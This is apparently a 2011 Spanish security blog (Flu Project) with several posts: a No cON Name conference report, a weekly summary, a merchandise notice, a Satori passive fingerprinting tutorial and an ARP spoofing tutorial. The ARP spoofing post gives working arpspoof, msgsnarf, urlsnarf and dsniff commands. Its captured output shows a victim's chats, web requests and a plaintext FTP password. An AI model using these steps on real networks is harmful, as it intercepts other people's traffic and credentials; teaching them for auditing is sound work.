Después del Coffee Break asistimos a una pequeña sesión de Hip Hop de la mano de Yago F. Hansen, el cual dio una charla magistral sobre geolocalización WiFi basada en API. Fue una de esas charlas que consiguieron hacer pensar al público a través del show y de una dinámica impresionante.

La comida del viernes fue interesante, en el café & té, dónde la comida de la carta y la realidad eran pura coincidencia. Estuvimos con unos amigos reunidos y expresando ideas de lo visto hasta el momento. Después llegó Chema Alonso y Juan Garrido (SilverHack) para darnos una visión global de lo que ellos llaman las “Hackplications”. Después Pedro Sánchez volvió a realizar una charla magistral sobre la demostración JWID. Y llegó el ciclón Shawn Merginger con su ponencia sobre la seguridad en dispositivos médicos. La verdad que fue una visión muy extravagante y algo no muy visto hasta la fecha. Finalizó el día con la mesa redonda sobre ataques a grandes corporaciones, moderada por Xavier Vidal, dónde fuimos nombrados por algún que otro miembro de las fuerzas de seguridad del estado. La verdad que parecía que nuestra charla estaba levantando inquietudes, mucho debate sobre el fin de semana, la presión me encanta.

El viernes tuvo lugar la cena del congreso, la verdad que se llenó la cena con a priori unos 80 comensales. Muy interesante el poder dialogar con la gente y conocer nuevos puntos de vista, entre filete y filete, entre los ponentes y miembros de la organización. Además tuvimos el placer de conocer a Miriam, quien nos sorprendió con una mochila muy bonita que había hecho con las camisetas que vendimos en la pasada Rooted Con :)

Llegó el gran día, el día en que los pequeños jugaban en primera. Flu Project llegaba a la No cON Name con la intención de mostrar una realidad que es palpable y que trae un debate moral en la sociedad, hacer el mal para conseguir el bien, ¿remodelación de leyes? Pero antes de todo esto, tuvimos que pasar por la cafetería del CosmoCaixa, el bocadillo de tortilla así lo merecía. A las 9.00 de la mañana ante las cámaras de GlobbTV comenzamos con un cosquilleo en el estómago la charla. Durante los 20-25 primeros minutos, un servidor, estuvo hablando sobre cómo está la cosa actualmente, sobre conceptos, realizando la presentación, para después dar paso a Juan Antonio, el cual se encargó durante 10 minutos de dar un tostón de leyes el cual trajo consecuencias. Después Juan Antonio se encargó de amenizar la charla con el caso de éxito y de divertir a la gente con la demostración de uso de Flu-AD. Las conclusiones eran claras: necesidad de una mejora del código penal, concienciación a los padres, el uso de malware de forma benigna puede ayudar y mucho a evitar el abuso de víctimas en la red y Flu-AD se ha iniciado con éxito en su primer caso real de Cibergrooming en Colombia de la mano de Anti-Depredadores. Mañana colgaremos en el blog las diapositivas de la charla.

Después conocimos a unas personas muy interesantes, el señor Pedro Fortuny de la Universidad de Oviedo y Rafael Casado, los cuales nos enseñaron un nuevo mecanismo de autenticación bastante seguro, tanto en la teoría como en la práctica, The Sibyl. Enorme Pedro en tu oratoria.

Rafael Rodríguez dio una charla bastante interesante sobre los casinos online, tragaperras, y digamos otras chicas del lugar ;) La inseguridad para jugones no dejó indiferente a nadie. Después vino la entrega de premios del concurso, en el que un compañero mío de Informática 64 ganó el segundo premio, su nombre David Luengo (aKa Canario o DuST). Llegó el momento más importante del día, la comida, esta vez tocó un poco de Pizza. Llegó el momento de un jugón y no me refiero a Messi que lo tienen en Barcelona por todos los carteles, me refiero a José Selvi, su charla sobre debugging de payloads de lo más demandado del congreso. Después apareció en escena Javier Moreno, con una charla sobre el retorno de inversión en la adecuación a la normativa PCI-DSS. Esta charla daba un punto de vista distinto a todo lo técnico que se podía haber visto antes. Después llego Sebastián Guerrero con una gran charla sobre reversing/forensic en Android. Lástima no haber conocido a Sebas…  Y por último, una persona que he tenido el placer de conocer, Lorenzo y su mesa redonda sobre la seguridad aplicada a las empresas, ¿es importante el dinero o la seguridad?

Después un poco de hotel, ducha, cambio de camiseta y a la discoteca.

Como anécdota, pero antes de nada dar las gracias al equipo de GlobbTV que nos trataron genial y a Bea por su simpatía. Bien, cuento la anécdota, Bea en la entrevista se equivocó de nombre conmigo, mi nombre es Pablo González, no Pablo Rodríguez, te lo perdonamos, pero que no vuelva a pasar :P Enorme trabajo en la entrevista, felicidades de verdad ;) por cierto mi teléfono es… :P

Mañana colgaremos las diapositivas de nuestra ponencia, y linkaremos (si lo cuelgan nuestros amigos de GlobbTV) el video de la entrevista que nos realizaron tras la charla.

saludos!

18 sept 2011

Informe Flu - 37

Damos comienzo al resumen de la semana 37 de Flu. Disfrutad del resumen:Lunes 12 de SeptiembreMartes 13 de Septiembre
  • Presentación mundial de Liberad A Wifi, o LAW, desarrollada principalmente por Miguel Ángel Moreno, gran amigo y mejor desarrollador ;) La funcionalidad de la aplicación no es nada, aún, con lo que está por venir.
Miércoles 14 de Septiembre
  • El señor Juan Antonio Calles nos cuenta un poco de Satori, y como hacer Fingerprinting.
Jueves 15 de SeptiembreViernes 16 de Septiembre
  • Seifreed o Marc Rivero nos traía un artículo muy interesante sobre las distintas herramientas de la suite Dsniff. Todo un placer tener un colaborador tan importante para nosotros, esperemos que te haya gustado la camiseta, un abrazo Marc.
Sábado 17 de Septiembre
  • ¿Y tu web por cuánto dinero la venderías? enterate de lo que vale tu website, por si vienen los de Google o Microsoft con las rebajas ;)

El Sábado estuvimos en el congreso No cON Name de Barcelona 2011, y como dije en la charla fue un orgullo para nosotros estar rodeados de gente tan grande, siendo tan pequeños como somos. Gracias a la organización por el trato recibido y por toda la fiesta de Barcelona, señores... arriba esas resacas :)

 

17 sept 2011

¿Cuánto cuesta tu web?

Un buen amigo, el gran Goode, me escribió un mail bastante curioso con el ausnto: "ya te puedes retirar xDDD". Al abrir el correo, ¡sorpresa! me encuentro un link a una página web 'How Much Is My Website Worth?' curioso... Y de repente Flu Project website 14,100 dólares, no está nada mal ¿no?

Después de pensar en vender y vender, me surge la pregunta ¿quién te compra esto por ese dinero? jajajaja, en serio, tras diversas preguntas mentales llego a la gran pregunta como realizan el cálculo de dinero que vale un website. Entiendo, o mi razón me lleva a pensar, que quizá sea por número de links que apunten a ti, también influya el page rank, quizá sea la importancia que tienes en otros sitios web, ¿alguno de vosotros me podéis sacar de este dilema?

Y llegamos a otra pregunta y google, ¿Cuánto cuesta su website? Pues lo probamos y... 14,100,000,000 dólares, ná calderilla... :)

http://www.how-much-is-my-website-worth.info/profile/www.flu-project.com/

16 sept 2011

ARP Spoofing con DSniff

Hola!

Muy buenas a todos/as!

Ya he hablado en otras ocasiones de ARP Spoofing esta vez lo haremos desde Linux además veremos como vamos viendo los datos que vamos capturando.

Yo las pruebas las haré con Bacltrack-R1

Primero de todo miramos si tenemos ip_forwanding habilitado
root@bt:~# cat /proc/sys/net/ipv4/ip_forward0
Habilitamos ip_forwanding
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward
Ahora hacemos ARP Spoofing
root@bt:~# arpspoof -i eth0 -t 192.168.57.2 192.168.57.141
Hacemos arpspoof poniendo la interfaz, la dirección del router y la ip de la víctima. Podremos ver como va haciendo el spoofing
0:c:29:7d:fa:a9 0:50:56:eb:ac:71 0806 42: arp reply 192.168.57.141 is-at 0:c:29:7d:fa:a90:c:29:7d:fa:a9 0:50:56:eb:ac:71 0806 42: arp reply 192.168.57.141 is-at 0:c:29:7d:fa:a90:c:29:7d:fa:a9 0:50:56:eb:ac:71 0806 42: arp reply 192.168.57.141 is-at 0:c:29:7d:fa:a9
Ahora con msgsnarf analizaremos los mensajes que se emiten por emsanjería instantánea,por IRC etc..
root@bt:~# msgsnarf -i eth0
Cuando la víctima utilice un servicio de mensajería instantánea nos saldrá en vivo que está haciendo:
msgsnarf: listening on eth0Aug 22 18:25:58 IRC *** victima (~victima@CJ-emenrf.user.operador.com) has joined channel #xchatAug 22 18:28:22 IRC OPNNLzerg > victima: VERSIONAug 22 18:28:31 IRC *** victima (~victima@80.174.134.115.dyn.operador.operador.com) has joined channel #soopaAug 22 18:28:38 IRC victima > #soopa: Hi guys
Ahora usaremos urlsnarf para ver las peticiones HTTP que hace el usuario
root@bt:~# urlsnarf -i eth0
Y podemos ver las peticiones que hace el usuario:
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]192.168.57.141 – - [22/Aug/2011:18:33:31 +0200] “GET http://www.dragonjar.org/ HTTP/1.1″ – - “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”192.168.57.141 – - [22/Aug/2011:18:33:36 +0200] “GET http://www.dragonjar.org/wp-content/themes/dragonjar.org/thumb.php?src=wp-content/uploads/2011/08/BT5-BT5.R1-1.jpg&w=200&h=200&zc=1&q=90 HTTP/1.1″ – - “http://www.dragonjar.org/” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”192.168.57.141 – - [22/Aug/2011:18:33:36 +0200] “GET http://www.dragonjar.org/wp-content/themes/dragonjar.org/thumb.php?src=wp-content/uploads/2011/08/Seguridad-Facebook.jpg&w=200&h=200&zc=1&q=90 HTTP/1.1″ – - “http://www.dragonjar.org/” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”192.168.57.141 – - [22/Aug/2011:18:33:36 +0200] “GET http://www.dragonjar.org/wp-content/themes/dragonjar.org/thumb.php?src=wp-content/uploads/2011/08/BackTrack5R1-300×114.jpg&w= 200&h=200&zc=1&q=90 HTTP/1.1″ – - “http://www.dragonjar.org/” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”192.168.57.141 – - [22/Aug/2011:18:33:36 +0200] “GET http://www.dragonjar.org/wp-content/themes/dragonjar.org/thumb.php?src=wp-content/uploads/2010/06/SamuraiWeb.jpg&w=200&h =200&zc=1&q=90 HTTP/1.1″ – - “http://www.dragonjar.org/” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”
Y ahora con drifnet lo que haremos será recoger todas las imágenes que la víctima mientras va navegando va encontrandoY por último con dsniff capturamos las contraseñas de aquellos servicios en que las contraseñas van en texto plano
dsniff: listening on eth0—————–08/22/11 19:06:24 tcp 192.168.57.148.1157 -> servidor.21 (ftp)USER dragonjarPASS @dragonjar
Y con esto ya hemos trabajado con la suite de dsniff ;)

15 sept 2011

Nuevas camisetas y tazas para #NcN2k11

Hola a todos,

Ya está aquí la No cON Name y con ella un fin de semana completo para pasarlo bien, juntarnos con los amigos, asistir a buenas charlas y salir de fiesta.

Nosotros al igual que hicimos en el congreso Rooted Con de este año llevaremos una tirada de camisetas y tazas (novedad) para intentar subvencionar el proyecto Flu Project.Como os habréis dado cuenta últimamente nuestro site no va muy rápido, debido a la gran cantidad de visitas que recibimos diariamente (¡muchas gracias a todos!), por ello, en Diciembre, y tras cumplir nuestro primer año, nos gustaría migrar el site completo a un servidor propio, para mejorar su funcionamiento y que podáis acceder a todos sus contenidos de la mejor manera posible. Pero para ello necesitamos reunir previamente el dinero necesario para alquilar el servidor, así que si deseáis colaborar a que Flu Project siga día a día mejorando como lo hemos intentado hacer hasta ahora, podéis ayudarnos comprando una camiseta y/o una taza con el logotipo del proyecto.Además, hemos sacado una tirada especial que lleva impreso el hashtag de twitter de la NcN para conmemorar el evento.Tanto las tazas como las camisetas las podéis adquirir por solo 10€. Y si queréis 2 camisetas, os las podéis llevar por 18€.

Pablo y yo daremos una ponencia en la No cON Name sobre Flu-AD (la versión de Flu orientada a la lucha de los casos de cibergrooming) el sábado a las 9:00. Llevaremos durante los 2 días que dura el congreso las camisetas y las tazas para que los que asistáis al congreso podáis llevároslas sin tener que pagar portes. También estaremos en la cena oficial del congreso, por si queréis que os llevemos una camiseta y/o taza allí.Un abrazo, nos vemos en No cON Name 2011!

14 sept 2011

Fingerprinting pasivo con Satori

 

Buenas a todos, durante los últimos meses son muchos los artículos que hemos dedicado a las fases de búsqueda de información realizadas durante las auditorías de seguridad de la información, hemos hablado de Footprinting y de Fingerprinting Activo, pero hasta el momento no habíamos dedicado unas líneas al Fingerprinting Pasivo.

Para los que no estén familiarizados con la diferencia del Fingerprinting Activo y el pasivo, este primero se caracteriza en que el atacante realiza alguna acción que provoca una respuesta en la víctima, mientras que el Pasivo se limita a escuchar los paquetes de una red local, por tanto pasa totalmente desapercibido.

Un ejemplo de Fingerprinting Activo sería Nmap, de la que ya hemos hablado en el blog. Y un ejemplo de Fingerprinting Pasivo sería Satori, a la que dedicaremos la entrada de hoy.

Satori es una herramienta dedicada expecíficamente a intentar averiguar el Sistema Operativo de cualquier equipo de la red, analizando el comportamiento de los mismos para algunos protocolos como los siguientes:

  • DHCP
  • SNMP
  • CDP
  • SMB
  • SNMP
  • SCCP
  • HSRP
  • TCP
  • ICMP
  • CPD
  • HPSP
  • EIGRP
  • OSPF
  • etc.

Satori cuenta con versiones para Linux y Windows, esta última utiliza WinPcap para poner la tarjeta en modo promiscuo.

Podéis descargar la última versión de Satori desde el siguiente enlace: http://myweb.cableone.net/xnih/

Tras descomprimirlo os encontraréis con los siguientes archivos. Debéis ejecutar satori.exe:

 

 

Tras ejecutar Satori, veréis la siguiente pantalla. Para comenzar deberéis pulsar sobre la flecha verde:

 

 

Ahora debéis seleccionar la interfaz de red que queréis utilizar:

 

 

Y listo, ya habréis comenzado a capturar paquetes. Ahora Satori intentará averiguar el sistema operativo/firmware de los equipos encontrados en la red, de los que ha ido capturando paquetes, para ello analizará las direcciones "MAC". Como sabréis, los seis primeros símbolos de una MAC identifican al fabricante (para saber el fabricante de un dispositivo a través de su MAC podéis utilizar algún servicio como http://www.coffer.com/mac_find/):

 

 

Una herramienta imprescindible para nuestra caja de herramientas.

Saludos!